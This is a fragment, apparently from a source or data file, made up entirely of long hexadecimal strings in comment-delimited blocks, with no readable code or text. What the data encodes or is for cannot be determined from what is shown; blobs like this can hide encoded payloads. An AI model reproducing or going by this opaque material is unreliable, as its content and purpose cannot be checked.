805566add8f012f002c975e77a5097d3590c22cca97241c431f548c5c845845a6da2160b5bad1e059600d75b7191e9a535e9b03f62d98449836d2a0be261dcba9b720743c8c827666b90917df1fe36a94b34213ad7f27c766804a3b49faeb23fb3ffedbe6888920c29b45caf8d276ae59f29c33bc50c136959fda4a63bfee73b20f65aa8486a45ff89de48912a582b9e4773ca01ec37c5035313eff8fb34af9e71f66c8320d3bb9816c29bcd1c0622442df6e31c82fa4cf0251e33d68a58158e4727ba6e82254db7e7d7f6ef5df32f21c5d1a9a91ac8ec2ecdf3d9a0f4f438c27a24cefee2b4e1c80f10f984e8df0b679ae80eadda301a9401452ce6a88f98e656e4e1ced3d63c4d9b07b17ca5e716977736b5b708e129583455c9513919ee5ee7a2aa98a7b6ef7dde6c68d474e7c216c160f02504fdafcee9551d10130de20d9ec58733a7995e3f71dac09d3a89e7d5f14bd2fa91bb791a2eaf31301472b9736cd829eca1f2139d0523ecd0ba85d45a2396951e1cc3cb627d995f88ac6114bc7ac213ef997e3c23b8958723deab403530958bcfb8f167d8217fc8ccbdc9a06c80431c375acd878cea2745a062ce21c9bbd7fc52b63600d593168b9bf567ec1154283ad899dc1abf5e0a03f4d259f659221c7c45c7c10e8f63cfef580a3901ea71ccbbb938c29b4c73dfe26604b9f692f76ca7c49f90712a78b1f40653c57725cb00b58543a216c9cfb06b0b19bf28367f1de3ffb9b26181e5fb96ef3c3476d3ddc2451a17e442d35536f4339ab04958b57127eb6120c422af614a849aa6a6af9333d7c62fc987385d0a7ae76325e38b2864052d0e6ddbd80c330db41156824f834493275ef6b900fb20e19b1d4d88eed90eecaa43b0f3c352200b96ce63575fb49f3a3c2bfeb32f82a4dca088eb6b4e0f3eddc1af1546a9cc2bfdfeebeb06c6e78531f4860ed7bd14b5f3b1d669312d9aa8df8615aa9f3d10527fe970e50941fb5b866eaff37002eb7b10f24d5444a57298478bbae698c24c931ad25cf37965445f8f2a79a3acce94cfdcc6a1068347a5dbf47a6c718bd7d7ba9a3f5236ad1dbbc4196ad0b7dfe95e6575cb5f5194cad33cd8a46a9d070c8ddbe8a9f49e05d7e938171f2bc287d6f94c69b21e57cace1be48fbdddc2e3d32ff18bcaae4d1e88803cecad57e82862c1bac5bebdf7c81bedee55ae3e7a900853d4e578ef45ebee783dd18c03b152579263959f6a227743d3833d876c2c81a133e61d6e6101523e18058944663f993b0c0d5a0193c4b41f857cfbbd2fe2bfbcc864ae427cb1d518cb90317ee2f0f3f3979f396d42af9e1fe94a8fb8a11fb93838c265a9af6436edc87fb51268b2cfefd23f5aced0cf126c504c9400a9ec6687cb7b1a4aeb901b76ef05c932af44123cad55d579692518fa07ea28d8c19029ecc22ce38df099facad48552f6f11190c3e08ae0f2279567e49508bef1b67359e896b523169c091c4df55e85a1f9c46b719a1534e14a8f0834885fde58d2ac4ca06f33eb03e276c952b7f0b9da233ac4801990da71bcb2b7ad76c25137b5b30726c89ae853d735b64a78302dd1032d001049bc6cad9221138a8d67e02161a0904127c3345f806d63a9f941e6180446548462eb7f1e0e9fe932b64a9d9eaea0b6565f13a58b1df361d832c4156a185237f268c2e66bdb1cdf1325f99c837e5f257a46b5dbafa98adc2aa9c4c62f56ca90e21782ee3ee434f7a4a4c7e67ca5e9126dae710ca00e09f83ed605e8983d998fc48a3d865c92e2417ae0f8bd3640385c69fa2a7826e44d5e70229d552baf19f4de02d6e1c969134e3c0bc0504bc1f8cb2f8224c966514839ce7f83a0101474317116444564e0ea5889386731efca66d75141e586f85cd246698e0f6c23d1d75077dcdff70bbeb7d741aa27328d5d6f2975d6cebb2bf98c03debbb07c7b8c54d01f593ef3d252a260d7f61304aa3674129b59ab4d8e5b8970cede702e81a3434419054f65763961f6b1c392100b1718fc5716c0f4921202cbbaf3a4289c66b576b341075b01e9fcabbe62a426acf0c67b01df762768758e54678cf9beb19e3ad56219d932abdf56c1409ef17fc02087930*/
/*85aa9250244e711a89d421b5cd8443d62b95e248db8c9f556190b054cc132f6ffad2208fde0e6db971c50ce28c4b3b31f6c7d80cb55a1760a595f68403b8e0c77f62e0ead5a27411353fe718edc369c4801683b42f9d8a93c197592645b461d4e2673c0d034a0367d84bdd875051bbc2409ff777973a758d0c189a24294158b54a182ba0887b9438f5bf11284a1a63a5edb94fd28f59a6af2912ff406c4d261f93fee5a027ef815c45b4879a50d1bc22f84c1e4bd833a8f67a99a1f704e676710a5309d823275367854bea8e0cf55d1d65fbf65f8498da822b838b40bbabc66717f11a9cded76cb5b9164d60c289d0209ceb608a2c8d92bb34c98ad6c73810f8b8632726e062a9660852291d6d2b3e68e3b082badd48743da0b50aa8957a7960c39f1337b427eb7cef632e0c8b469526763000098d94323c8e6f3a2ec2a86ec3397755a6f1aa63b9f2f7d7209527b3d3d9b1dcc60288d76552af7ae3c23c23a80537c8e073644d73bb27e657fd7bfe5a8b33e952281c3c93f524dd43a9591181c3dfb33c31d45ae4e8e4b7181b2a1cede7ee179ca605e8fc81b8eeb67d254aeea4e906982162f06151a08d0868968b52ced9432520acce4b485fbcc84a174d6d925ab7336b1abe00304eb268f0de6480663af86bbea94ed68ca5568293fca7f046d431ca393b201fdc433cf18a9f692fd9319e6c969340e9adef98124894ae6d785add76770ef32c92dc7546dc93193f6d3f078d5e53ae70d82f85a1ae4622c52729b7c28452589d66307d2a0f04897de36b9d198f280583f42337d2523203f519868fb84afe09f5f6e9ac9ddceae069cbf59f4385ec6f3bd757c9f4c7b186afdc6e5ac773496778850e58e335d1277a13ba91ea4b06eb68807a4ee1bca67537eee90fc59644dc90ab83398a1479f3a274e8a7b442625807ce82160bdef111aa5dba7e356aaefe743e87757c99e107026fe490662c6a1b00e799e587b3ad1f215b9116cc6980623d2e5a938bdf601e4effcfed4bec1a4e68d5788f445e710046cae82b96451b557547593761f9dcb4c70211b6994c789c98e4f725d97ecb6a765aa87a074139767140eca0d194ed532617731d7cfb74ce056c31d23c109707a1b3731d96b3ca9bee9ac3a93c15cb877e6e31a22be30fbffbce1593e9562f8aa0566d735cfdea0d30d38bfb1fc46bef74879079cae7a793c32ff4d95be7c3a98edea52a82a25b65d51fa9e4acae0f49cb9d398a78366c6e734b1f0a33e376f7199096b192674a9f3a9abc4f6c2fba1d7be8351c3caa6c42cb1ff78a2071fe54164ad11e565f0623b4dd09cdc865db3eb5f1dbb0d23e1d0219fde72e46a0de9396007afa926bc521de769591d7632ca19b953cc2b78ee7ba566dad3d710992dcc15100f5b15181616dd1139b78d16e7308e9e4b69d14053057a8bf0a90d6d8ae960c870d815a00e9c7f3b431ad90a9e8c29f4174fccea67ff9f63c87967e87956feca96602a2b66e53b512b8d1428f52cfc04b43fc4958f2d1c554df58ae66d06b926f37bae84548ddc73bc81e6c5f7031a8f6148f6c3c67a5a2583b7a6462b8f3629db5f1d4a270da829ddf7e1be975850b4af0e6b6c6c432fcc6f6aee000904d0c5bca5165353b911c83ed8aa026820486c799053adb7acc71a953ba6de57a28f8a8f615061d1b2a327dd5bb24662ea8a6f91125684da7dd818d3a5665ec4b2220866c9528de0eca03687226e4b09f668fd8442ba4b334705b3413a46be5f159e7de8f07bba123b635e09725e1bddbbb9370538d52b2a86d8ea0f6317d1e9a532d0dcefa631cab31193d6b5b594f738d064a3b171b38b9eea273417abf401416a8478bcb147300a04328137ebf6fb63950aee8515d00ae7892e859f2de9b3f36525ce70630084bb34a5b305ed35b8f461b113d6a876c7ccf3581263248eff5a838f4a82e7c2c8866dc1b8ce1bdd29347d6ae2e5f5c382a50c289ed875d26cc951550e799387dad3593aa17e42aa473def4f71927808c936898e90f108632972b895ba3f98ae94eaf8f022dfbc2188dce6ee0981070b19ec840978e9fd5cf48fd4dad03d76977ea9cea1a16a3a10fcc4619011708533afc0a7faa0384480c9b25fd8ffffaa8817115cbe8e899a3aa73f2b67dbdcf34ce90cf42ad3bb0ba6cfc5bf2843dcacbfde576dd65ea8b9ae42698be80fddef1b5ac10117c312fb8ba56f12337d201e8b97095162ddb37f6dc2cf30020f119150f07a1234d6cbe61ce181863bae299b372cdabab721bbae45b742448d9d7c79f0752bf7124af94308c8c537dff7bac3ba05858d4c190f04f4edad956891f3abd37542cf18aad5b7361efb40b68e5163d07073b3d7be08a259bc760bd5e3579ebc6957b82c7b45e1bcf67726bd1bbaff9e789a195f1ec6da75a5f0fa3291066bde7246800e0f9b08bdb4caac1fd32d6f1e1f1a3c1767be0fbbbdcbcfab145a25b02315cf0071b50585ebdcde69974fd954ae84de7874b1837c0c1f95d4bbcc0197e9b9106a84cd5c64e3d36470ee16b2ffb9d67aa54004baae42169407eada2596c74d61a8de8c63c9868c622141967132037110409f6307acab130fa238f9679e6baf86ac8a41e22ac699585aa6e736ec51ee6cd82be57ecf79fc682d311fc6381474c062d216ac65f481a43391703b72f20cb756f1b023382bbf235180e3e6aec3b9d21355943ca850226ed43928254c08be4e1be3e4e403bd22b5ccb9d2a88964683f6e4a0cca5b695d9b69b368cf5f452643a1c8c59275da27917379c5a0ea05584976332244179e9f7cad31171c6a36fcc7a378165f9204d34*/
/*2ccaf87593ef14d3cea3383bfc8717791a160b8c2ab75bf25a1c2ec6c3148c7400c62adc30bbcd866acdd385c86f83fcff40db535750b1ebe6d09d3c47fac26d06cac027ca392bfd6bd5bf6b0ca06cf7c73e7e42408237d7dbf1d37f1eefed5ebb11eec389080f451c5f0009901ca74e6691d899d966ab56510a66d74298892fd9f6a4455664f38042e2241747c12b561c78a7e865cd732b45f6a536caba013bd2b3d07ceb260fdcc9c9b3b6a62dbbc6d185b9ca72b0d1460f196fa5bf19168bb8b5128ec9c22c6e2fee66d9d84c5cec154d5859edeed6fe4ae9b6d6814de4f0a7ea274f50519b56797a9bc262cbbab5a9e6a7c6a6bba6b924ae663193145facb77aafc32ec02d4c227f84314eaffbe08b15872dcd2bfa3e9452b043a4cff38e6c7e197c80a4bf8a7cb10c7c81e7693f61caaef595967cef8f8237ea6bc2d8f2dc0046d974035cd7f2012e34f7ea6ea20abe5da7c5984b6e36fb241404feb7e2d74239887fdecd613c99344bd682d0aeab84c41e457f97b8a7ab2b6ea721d46484c6e6134298225890a4488e48533a34a0df1a658470eb6396201a7ca41cac0cacf3f1718a3912026ec915f1ad546744f0051a5177fd332561b005f38ca3333be94ca82e21025392cdc7a8abf9ee88dea0cb2a485d16607cfc2af7e35d918cc3f0b1706d7d16521556a34e3899c413ef718f2c38c45efc7553dd84556a472b56a670138e278cf5a76470709a30a35a87d194850dfa77f95f92299eb05e3c7a31998a9eab89161c56a4a66d1e6832c1940d53762c805d9b99a8b137b49f25c75d2f34e8c128b74cd49b51e6c23f8ccc7b3d7bbd8715aa00539060848af0e6b5ee0bfb6a7f433eb3e1394ee5c4f7078c5becb247bf001b247cff25f7c47732e6c1dfe0e09237c5295fb4cbefde77ebc31e4e0e698694f2b59dc9848f3ce95834d2164138d2f7142ecd1a1b47e11f05a1265f9671bdbc63b2c4be7f8e819daadecdcf850187db7a34b876688a847ab4986b3ad5bf8853e0187c3f0edaae926fa85781fdc0a9dc8489e1b47ed4829e8e3383e96a1022668b449b76010f8619b96b91cf347bab6fc3876badad82f91b72ae5c3b778ceab552efd3ae96df2849fefd96541bb0a67c2d86038d6341d56d1aa81e75de7da290e165a1906559252502e5e528c566e49c6733462545a4decb644547def83dd5f7123228e34cf40c409f12a9be7b80061a2f94616b160b5dc03d3dbd7162ce585002b1a1c5ab4b214d490ae25f4f4e1d2d9e3a0a497315c9052cbc8e3553cae6729f6973f2ede0d43745984451e54a162638640160860ddba6bc04b5d51ec704bdfde6dc14b56fdfe62b6ed48c7f42bb6611a13288fcf140e61c71a1104450608ceb0ae8612312e6b9ebd38d24b661e86f5922841bcff50a5bedf6494c17be8062205134c1c92ec7577d7baa1bc0295f187374cf38ae62b24bc5c57fbe7ab9160141f524cfb9ba417c993b9487d2b5ede64cd573dd3cb0f1b09668a60f771fa8296803e956ed4d47f572471fce880f66769e366f478e74b3f4139d95495e4f26306c1a8d25aff18cf1126689d5a1780d8b3c1b95c18d81132d318d8e12ef8363c3f911953b4777b779b4bcca8541dde2cd1f359b5047f0d1d88cacc3a012ce3c6095b5edfb1c42fa922be4f8ec10c4ec32d3fc8ed7a8aff24aaf4b270ed05b42647df04eae74abf0ebdd2d0fc8a2589e3b30fad45cd1dc1b8274b6c3ecca7acea2ca59911d830a0c2161241f1696188649ee9cc1377f6e030dbd6b6b75caed1f048cfb96443893f9f62365d80558ed3e15dadb75564109a16d8d0bcaba3853519ebbf7a93366343080604c879efbcfb30f8a5164c391b4234751385f51e05d37301bd9b042e4f0ed488f3011984587d79b6d659851f7f45220f72fe90d0e8dde14997f142976149e6c9131dd85f0acd8e52a804881043b727e56ee02fa71962915dafb2cfca1a1e9a2ae59a967680a84253b69a142273c4b7e22fd239e8df8ecf5f8be8209cea0e6c5ff41b2c62eb2d74a95076872e1e96dd2b8f4f080a67b553f9d1839b9965e50ba7d81eeac441dd70876ad7becb1f144af000acb8e900a7fa273338db6e521f7ca0d514ef1393c350018e0385717933a26a8ad89d4b7e1bbfc0a4160081a09b1758b59b18d46101bcb18585a9877731bc85a6d9cfb2d238f77d6d6f6020e1a5bf9cab496361c11f5853b2e1c55b1d40baaa7ae4c3e40da3349c6c0369833885b63b6a2a42630a84be2f54ec9177fddc5c1c0bcb586a7441fffc22b8ac42a683665c1ee1989fa719de61b03f04a36879c3c51271e6a48615d1729a1b29c4eb83c3e8c9ef3fa4a45382001f34cd4643a3eda9ba5680d0d867749b984a06b7b204d134007720df6026cffe56bd81025ee7074d515015be6db941050e25e4c4686d68f150582584e91f776fd59d506742caac636490b0c5c5f91c7174cbb7d12f1c28eb205098bd4cab2bc938c0eb45caa4d9622975b18f0c00f9bd8fd4c3c39958e919510ce8317161942aa8dc99811f724926749bf58ddd96e0bd1def5649b119a9fb9633dbe91527c38ac20b9fe5d8a5ec56d44bae0f9c05e582c0d11f91f91ad01beead40ecd3e3a0f9f81303e59a04122e40b9426efa29fca43d071aacbe1154645a5fa48fa125d77e15924a3614c00902a96314160433d18684fb43d1473c3a5c9629b69f2365e1d1cbdb8a99c7728df42cfdb121486be126d59853cfd9d4b5004753f61b46a31582695765122e791040d19367387027c0bb5a99625823a99ad350386d6626d91427939826f47fa7ff07dfeac*/
/*abf9634385aae1bf74f4afb16b4b829b12c5d5215db1948446b6412e90ad7db347aa00c9c00b1b41fe376f9f2b9a34b4d587af0cefbcf7c9d75a92b4c135e2466db894a5a01ca501a344458c6fb0d9bca6f6700993724c3509d64e1b3a2f69afaaaa7ecd76520e78d493339ce6fb70f1c8b415c12a5947081188341f62c404f0fe7846f8852715f96d0c90f7617c4dc4e645291f343e58c28fb947df056b0ddff898e3efea5225e3f4d3140b1e60846fe28226a4ef140b63b48553ad46d6977bb46fa25cfa36d19f6a599c43f5e6f60a1f33aff2c8ace6df3255d88b915da306a112922dd8a931e660fb9c6faa5bd600f620ce64534cba496dd125ffa439f8075d2ef57516f1cbeeb6e8361d88069579ef18efb84f0b6b3ddd04410c8f67d764a3dcbd99ed6234a33a24f6cc209c67e7e0692a649b5ec86ae4359ee5f99425a1f2817f540bf740a4b1d75a7105360e6a035de472bf357117ec3e1f377070a28307bacde1730acc1cc0f7e82939037856102eb8cf6b9b4ac44e62db42d564783773c154d2f33f8b8c116104005bbd2c6fc518014402b7e79ff5cafd226407775298d34afccb938633575c2949cacd0ed624e6eacc3dd78b4fb27abf3e906545ae59ceff9c90ca2d5ec5a4444885d51cc0158c1e3afec08568d12c769bad6c6250e531567e86dad49e932d33e9c3fa9cd3608d2a33a01a4d2174ba2be2d259bd45348dcaabd0b93432c6b42697ba7462f20847714474f306494a5d49d8e6105f17b97441dc892ed770f88697ca2f3ab15dc1efbe0b9a4f8521a51f1ffe7df5f6883cd42e22d48f30261bb957a7bc39a4b77c642cf37d33639c35d227c2f0cc4f9e0b697d51472837505339c8ae05bca2fcc8b7c8e0cd32fa7001bea3ef639237c879db110a064818f785ea8686bc09530cf33f52a9d4e2ece2890ab8a61a777915397de5440fbe576de849b95afac32836ee0505554d22b70dbe08e01895f8076a8058b8a61c9f14101eac1ea4877b27edc892c125b0f0c04f2df4adfab27c0797798d873927ca1de6905ff138d5c2a7100d38589ef3d89f5a4c74358405d1b9c0e6a8e69c8bb18e0996d218f2bf084d317a2c2452674a805e78b39331c124dae7ee968c4172a9d4245f07bbdd34ddb5a0deeb60a79358200d58a1bec1af995a718337937d477c32024bda1c722825c602f20534e9ce839f233b21e7dd34e44fb5dd3c39436f935936a89301e6f0b83ff73142c4d58d1bc6af8b2522369dc5a33cd1a67b9d49360381b31338e60abe5efda487e173e68b4c50bb0cfffe70cedf3a4061f79b2a25189287ba1bad58b43ce6ba9f2728781499af717297df8d5210b62bbe832a54be577e319c670029731c8df8f2387306f7cec5752ece8f9e7a942844ee11865c78e2748f3681495346e6a92932d4bf8e949ff6f4826e732ec6410e3458bf6e8acca9861d2cba5398358d6c792d8bf005cd80b2772e7321c628b9a782575913432fa5602de8a20556a608c8c2051c6e55de3c61868784a7e883658a701dc6e5928197cf9a18f8251fbfcac7923f135c3851e4f4e450244e0f83f38aa34bd9ef58a9f81d63f66a0850d0fb49f30ca8546646526269646eb66b0bde2325bff251de253fd1aacc6d98585285d92f90cab120cc2f158c0e3c8e6ae6174b3f372d008f439e3addd5b0d0aeb0f02408ed942acff8114e3a28224c09caae08705efae12d35640ba7c50ac34c857d06b9dac5dcd7fc9f4f0c834aca16f75294d3899fc213a30c7bb8d2f8a6b129b19d624ace0dede6e8a5ce87167d44fa158c169b48031c02bb3bc027fce4fe3864bae36a8a717947f4618583fb6ba52741caee1c0ae0ff5bae0f10e8e982d0c2ccb4da109f53bf0f50a712678c52a9b7802b1b6bf83e7edd92087c91b620b65aad9f146d3d78e29827f0280284fc106287ad40156a7d53b8c9900dffb5757046d5b9a7661482fd662de9acdc327a69a8e12529e7375c6428c84a5581f5ad6e830f8456a9a5b39ffc479a6bc0834d2281fa1ab49bf992771082d1a9f32a368a7c19c5ee65955d33d51278675ac169b92a509539912dbef9f32a8d32bde2bcbe8057074a3fd97173d5f6aeead03f65db8bdc1058a3685aa496bd354d15e0d74a0b8188d8d907b9ab67a0bc30b0f3cb5abc15634ba7559ceb544f0615cfc00beefcf05248e9f340625e4f33732c8dbf8ff3c66d5b6f78b1ba71c6b33c2d2e1d32beda057ef88480ab1ba0a1b1361dfb5669cb60586734e63457fd94688640df80ec3001820b97565143b8147812fa56a0635690ba94bc70c3901db506e9c34c0b7dd8b0e8ab2352a820b5eb24725b604bfbc20674633e7a829f941862d51d85ed14ace06ecca05630c535fc5045c043ff99eb9361bb097a894a30dd6667b8dcb86e46e5694b6027c662a4cbcbf8486d8b47d39afe375bbbae29998390fcd688da2e72ede98d999a24779d0fdaa6b94b50f65f6ae27ebaabe6309f187de5e8af5abc6966ceaca80c853b3967b606af792d33118bc5d9de5b12c9951b4f945653a2266b38bedbf3bddce3c35e642d97f6de82103d44fda26d4647a625ae445d6527cd01eed4ebb227ed329d9ea22de929ee984f90ce52e463d588e7d0e61a3248c5b4e9cfe3ab70f6feca1dc399559464f05bb03b09d9118ad9c7079078b6c59e9ee2e712a47edaa660e725fc0a87ce64c9c214f6b24e3e07bb382c67001084663e963acaf38e89892ea845d2d20f39e2376cf7cbbfdeddd5c68f58d5bde250a1f5655ebaf2e4bfabffc726f2f0a0550b2f721b26f346bb0c3358199bda0b7ee1a00c9b99*/
/*b35b16ff6fbc4af7757c95d4421c5e4f363b9b89ec5770fb2e0670a4731b3f6e29ae97755e4d449f0df0a645155b55b805d220dc76e3ecff61117902f0cf5eaf5e701b6ea291163152a42877eadf56e2433bc463c090cfe50612b751a6243f07017b42c17d90783bf3a7cbf7f48108426515d06be681aa97ae5dbd3771324f81a02e1006b272413e04bbe02199b24b1ca7dd5e63d65cdfa96b6c63cad421565a58c8e0ff31562eaf807c773f00d9efa8a2cffa00fbe6ce42d9d9bcacee9114700b5633572007c0588959b6bf3018caf2ffd85f4cdcdaf758cb0bb682dd8a04d2ae9e2eeb94fccb35eb1afc077359953cdd5536bf3e63a872ab8b1d95d7c4f3ba37d0f83184b38a1e36928a2f45bb92e70c8d8286573b4ae63a5b9567510595a231e2b8b3dc487f143ed2e492ea4fd0e3bf8c720a5d7a3864582e0e3feb4813c990759d3c7f9307cdcdbd3772b96fbc3fb5f13d301e165e28cfd583a352edfef05d1c614def97b7ffd379774276ba5777a9b5d3afedaa9194a294d3a4ed4d01f9fc8edff52d68a6c199a35621e56cb436e394009eb369b3ae691585d68b68e7bb7992b4d919ad767ec38513b4983cf5f8eba08a61b6714893ab71b9acd0f9b236e6e2bfa4382e4936bb67d5e2758d4c126c7dbbd5b309d0322a99054ca4cc5efe03d6d0d25ca7eb88a637aa58f3a46c6e3c2977a8a59adc370b81aefcc6d4d6a6c05b2d0cb8b53c0743052e4a0f2319072e8b4dd60af95ed4019f1984c5e2771cd72f69b138794f92535d794b638043635aa1ab531301000611efd3804b1ed4ede3d76886aad3122441ee540b0f4ee8f1974dd3edcd19a982047d57ae50fc32289af6c2f8322f3effe753f360d7058ac4ecf65b676a369e17d608ba4cb76c809c5ea753cbada77fd6c36172f958337b1752943b24d2d2501dbc9e09a4cc0dbf27ad0f5dcb9433f598caaffa183a48d5e3037fc60a8141e5553cfca38aaadac9367f258318d4ca1757188cf6ba663c8a9749b7dcc831995d90a9968eb938b7780624fa5ab1ec1aff7bc57de549562428d301ab88910d40857731c39d22a0857629f2d03563b6e2a18e50a8d0b010d9feda6b84a63f9f6b94a1a8fc55cc213e3c8bc5d0a9771d957a503e26a4237fba123f33af81a0aed83ed715bdd5aec1272568eb2d5c5444c6939da6c03178205be147a1252350d9d327ed9fa5ba27fa4c9eb1252a4e0868648b6ea0ef9ad9d614191fcd17037385cb9ef00c5d4ab5e4e3b7afdd0f1c458ff5e07ec1963aebad9fe9af105dac80930cef1e4f19f0832e2d6c3e86a4963698450ed73ba139dfc64d49b1aca9dee3f81c63b8f0c6f64b7963c34decf8701b2533a529543dd8044f33d7a5c066adbf9ca40527075f541e6817755b4ef79cc5a7b96917aa8fe9358c19f8ac885e797d2c5e34516fecf5a49087bae50fae0b7793ea7308c81f935e1be92c2e390ab374eba0843b78ee3586f73354b91d5cd9f7be2ebe09fcaca80c0c569ec7de2190fca180338deb26af78e0f23ebbe3dac742df461ca5cf58084a555b7f96329eb85d37ef52dd9d696a8bed8e2a65ab8a56c80dfb4425565d7034c9905c014966ca3c9334d27e993b524caa731953e293f958e04fb9bfeec4f42f862dd92482e55613bbcd9dafab0d09eba346bf89bbc6ea3bcba74c32eb44e7ecb032b09661b8a2a6e1246f2def6f9e7b23ca69138402d8fbf58dd019fe65a64e48f5913267c82af8f53e94697cfc26cdac5ddd539abd246a6faeeafe9e3edb5bbc76999790e61df098bcd9b203c42218a4159da2d176cf288edb0bd7c5b0434233d8e7b15c1af55c82fb1e60015ca39b1e3a45b8b73818902874d8aea6e4a380eece55bd45b16c48eec74da283e0483a8ca93b280a7107a84f26dc1fe7306fdbc1e4f735b03a5fd60f915c0c321b0457eaca524faf8a3cfe1b9b1da13f2deb508b97d5e88bceb272355c08094bf259a2aa2aa8f5ba2e5c5a27e6cd731dc7e35025a62db15046e512e53ef0b829d3ea3b2ec2567a77e551f96614d85a0aa71c61a0e3470a5eeeeb829dab8eee0ea1e52ffab710e39a3d083db84c27c70272a18b9077f175f68c6feeb667ae5fe2ffeb21be37b845a1198986e988bf5059f6a13894f211949233d302c17ffc30cea58ea50838c17483f84c624df83576592f0260ecdabf7f90c5b5c30db2c5cc3897d9dc4bb96a5576c423ca0b83bd44e09804a39c1cad6fb2f401fc46f83ed873b10b6355ed4d8ee9599a0f7f54915dfbca04ea883d8f2b0be6f9c8ef891a43d7e49a879d2d0cb7454b3d677bef21108669aceec49ea32fc093c50ab67b197a39df7c29732a0a4f47fc5f53a354579ee10c5831ea3f005372f3b2aef5a3b12d77a78f4af2f0b8ffedb77359f13af0fd9f4558f1ca594738bda3e20bb7297a6c8f7e4469b3f4cc78a42e5cba4a1eacb0f1791d73da7dedf18334a77d066794251b831639517330b4e16ff9733ba0fd42516741df8411cadf3f4ad4c1fbf1657efe1d36f0fda16cc6edf60cc94d8438a905158c051bbce84ec4d315a7b27d73893421d4c264ee96fc51875f9128a9f08c7ac7c6a1350b2a19024688199a44e65561e0430c2e3e8561709eb8d3b2cc82b7574d756ba7f7bee120d01a479f1a0ff40517b90c8ddfed22d9e3734d0687d9b7cf482c889c8e3dd75851a1bbfc0040b43a36afb81f55df4cfe598bbe65d29d41edf5a2511a2c81af29a3d70f89c6e1b00e0edf93574dbdf53beaae2fdf7631d68a628e61f75a2cf63f1c6622357762d9a8dc2dd867bca5667ffc74524f8c53b8a062f934d34f006c*/
/*32d11d07096602dc27e064c74258f558703502e980134bcd5c84695fc1d60f4233008cd821239c21c652dc676436df33d31826b1a585e947051021570c0b8210d073f58273cf0041ad653c7e25b3de81f05ca14e56d1c4f1e969fb117d1eafe2b8ac3fd35e3efbf114afd9f9ce9dd4fd69fe23b46bc23ab77b727dcb44d2a3ea45b87e1bbc77483f58e0e4fc295e88541c946946b50789c6543b4db560925dcfa4964252439b3967ac8efea67ca3f6a6f1037be98cf0de0c213a763da9f85800709d10717687d4019e7e6290f9c95d83aab67ee9c560b4f88626d0d7e848a627f4225df5f9715cd11545dd78488193c4c73c2357fcc6c0a3856302e503de8c69bbffecdf589ade764f706bf02c10965a6c6cf90a291fda53b77b964ed40647d86d558eb7407ff4b1f59438fbfa5367d211beda5893e4d70bf8b19ac3190dc8883572f59784ba690ddbfa8c201ea9dd95fecd78db515f87b27ecd440fb9e51fa3a31b558014b2659d9571400fca097f40687e719b387c17baae1a58b3f7c5430a93e4d66c021ef9d3ff618dde785eacbdeaf00a98bf080eade23e3ab692669ca03d0b815e2b6aaf74ae51ecb8f87757e2f270d9a13e5b56216d589839861da88fbf7d096b81cf5d125bb643c94ce512fdbcba0ad347a8284cbbd6bcea3c51c3790dbcc1b7cab83c94fb77cff696a84e6a8a0b8c8729dd5cad1d17fc23fd01b472a26ab2bdbee8568bbe27a558ca204aa470e2f709e5945e434f4c84f85918ac200c0689d62ae98d43809281cb7b303d9061cf4c298e12eaeb9e3380227e67b76c5caeb84a794393ec77e41851bec5e09f56ba1d8b252de292975ca3e2dd9ccdfc49eb3b3f855a43d868828d840a7439909f1a8b0b916f93692146b0bd25dcc6d812fdd79f9cd7818fb610d4263b5fb7449720aabf33278ea35e8747e812cf5a4dd8bf40d38c173cc05bd93f32afa7c7bea3f764ea6e8ab813c80a2c1dc7c8a74ff8c8bfe4e9f6b63d3a1b7bdc8dd4ff1292311dd2de027784fc55e9165a85c4d17b7568e86234a87c37459a50ca7c07c25eb4e50e7cc81c3933a4dd2b873b15e5b85b8679d6d96f8b090c8f9d38f16424bd83d4872d03974fe5625f7b9b3a9b56cc2ebcfc9c2dac2283be0a24b3a2336687c1de80e576e79609a33b570fd2da321bca20bf6f9341d7706320a3b63b5df8faa4426acdd9ce60f4422641df0da9001b5d94bed198ab2f7ed6eb850f0acef14375c10529743162549d92932a1a1b33a23fdb77a8c34a0af3c659c4e0564b3a2b2452c5c124f5e9b25bd05de8254e78a9283981b680f6186af11bc1f994b7c677654e8078cd4c9bd36f47a3f5997111df6cd4db47d23d003019a1c181fc6a00e872459bbae4da9cd0db8bffaf01abcc6d71bdaf55fc722b2a5a4fb1d396417721de89b96e072ec4c86a86772959854b878756b8e42bb54ba36579f2b92a804075ab18ef591d49bc5e713938fd4f56969b10c7983d6e6a5081e76a75db037e1de4ce53a179e2b59607c7170292087fcf752ffadf0d9932ce5e4054e0c611cc0198f957cf229502afd3b679f59514483dfb739c069aa8dd8cd75b1b8c435b27fa8b72ba50b9cd5075da2a62cb497fc22b45c3ac6e96a91cd6389e32e1848c8b75a2de018d73bbd54ea2a3fc6ba7aacb0099ccf14cf9905cdc7fc4c3662b37928033746f1d484068f8d9e8ea8b54eb2991570bd90fd9244428ba2a6a4c857f96c0051dacb7a8a2564062b109e8c9a3af62dab9a00f41067130f4e37d5297faec26f55cbe393c97c4fe05411cdff1bd0672ce6e97afaf3aeaab981c33244ddc3c6cc3feea9bb29090f8246c12f62d75a45fe8a7ffbff16cb0d9aacf5d56504c41e77ce501e31889a904b207897ed61c847ae582e72e68919e4d0b44d35f69571326f7cdc5e2bc77d42f7ce2a3759032bfcc018147529a2ca17aaf36512acf8e8cea6eca7f93357823dc0e7554d6a184a8038779a8c693ba69f304da8e09a7c3989382250053bbb637c243c44d76bfee65ebdeae033e6cdc1bcc0d5cba8f8d0822b4e7aa022983e20f191c7f2f78c58c8614558271ad2e4288b4c3a70abd022dffa63add1b034df535a310c6ee421fbcb931f490e23f852591173376184a9ee9cbbfbeb6d15ccafa25fd61c6e2915db7c5a8f26dae531ddf70e8affe270414a36afe1d565432d0535514c2f7564883d81d45bb9a921263aed7c088731bd1442aaf09661aca6db059087f5a1c71fe7ab091d7a0fbfe845b0b918a42b2fea2aa0ca13ccb0a922c73fbaa5e4c1d71ff47371ec510ab55198d38ccef30b5a1a6ecb72fc4750f63456988571d1a86d686c1632730e26c6a4b0a0941bc6077c86336c3d0ebcc55ffc6a810ec6c110e6b806e75643754e7b4c7921e597dfe517af8ca1d582f44d520503414ccb5c4740f3e479d5e2018f288da72d2e70094521e883de266247a5f8dffb1f5242394fcc595ed1796446d23789a63763e04733815cd1a1b6afbe7015251e885968f6dc1bf7d937f88c4d3b189729305d2c6db0c6199ee7ee7285d9bd1f75cd8f0ab09ff625e12dc772850424e4b6cf305a18181934d0b09cdf29ec0222698027615caaf70458881473f956139a18f96a3fff125dacca5705910473e0b28e33488fb7bb71ff425e2569660431778876d06b8ed942acd92a1ecf4ee29f04b999f1d551693a549e